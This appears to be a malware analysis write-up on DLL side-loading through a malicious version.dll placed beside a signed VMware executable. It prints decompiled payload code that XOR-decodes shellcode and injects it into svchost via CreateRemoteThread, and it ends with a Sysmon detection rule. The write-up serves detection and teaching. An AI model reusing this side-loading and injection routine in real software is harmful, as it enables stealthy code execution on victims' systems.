DLL side-loading abuses the Windows DLL search order. When an executable loads a DLL by filename without a full path, Windows searches the application’s own directory first, then the current working directory, then System32, then SysWOW64, and then directories in the PATH. Placing a malicious DLL in the same directory as a legitimate executable causes Windows to load it instead of the real one. The malicious code runs in the context of a trusted, often signed process.
The sample
The sample analysed uses a legitimate VMware Workstation executable as the carrier. VMware loads version.dll by filename at startup. The legitimate version.dll lives in System32. Placing a malicious version.dll in the VMware application directory causes it to load instead.
sigcheck64.exe -nobanner malicious_version.dll
# Verified: Unsigned
# Description: (empty)
sigcheck64.exe "C:\Program Files (x86)\VMware\VMware Workstation\vmware-vmx.exe"
# Verified: Signed
# Publisher: VMware, Inc.
A signed executable in a directory alongside an unsigned DLL with the same name as a System32 module is a classic indicator of this technique.
Static analysis in Ghidra
The malicious DLL exports all the same functions as the legitimate version.dll to prevent crashes. Those exports are thin wrappers that forward calls to the real System32 version.dll, while the DllMain function runs the payload in a separate thread:
BOOL DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
if (reason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hModule);
HANDLE hThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)payloadThread, NULL, 0, NULL);
CloseHandle(hThread);
}
return TRUE;
}
DWORD WINAPI payloadThread(LPVOID lpParam) {
unsigned char shellcode[] = { 0x48, 0x31, 0xc9, ... };
unsigned char key[] = { 0xDE, 0xAD, 0xC0, 0xDE };
for (int i = 0; i < sizeof(shellcode); i++) {
shellcode[i] ^= key[i % 4];
}
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, svchost_pid);
LPVOID pRemote = VirtualAllocEx(hProc, NULL, sizeof(shellcode),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, pRemote, shellcode, sizeof(shellcode), NULL);
CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pRemote, NULL, 0, NULL);
return 0;
}
Detection with Sysmon Event ID 7
Sysmon Event ID 7 (ImageLoaded) logs DLL loads. A rule flagging unsigned DLLs loaded from application directories when a DLL of the same name exists in System32 catches this technique:
<ImageLoad onmatch="include">
<ImageLoaded condition="contains">\Program Files\</ImageLoaded>
</ImageLoad>
<ImageLoad onmatch="exclude">
<Signed condition="is">true</Signed>
</ImageLoad>
This will generate some noise from legitimate unsigned vendor DLLs in Program Files. Tuning with exclusions for known legitimate cases reduces noise while preserving coverage for new instances of the technique.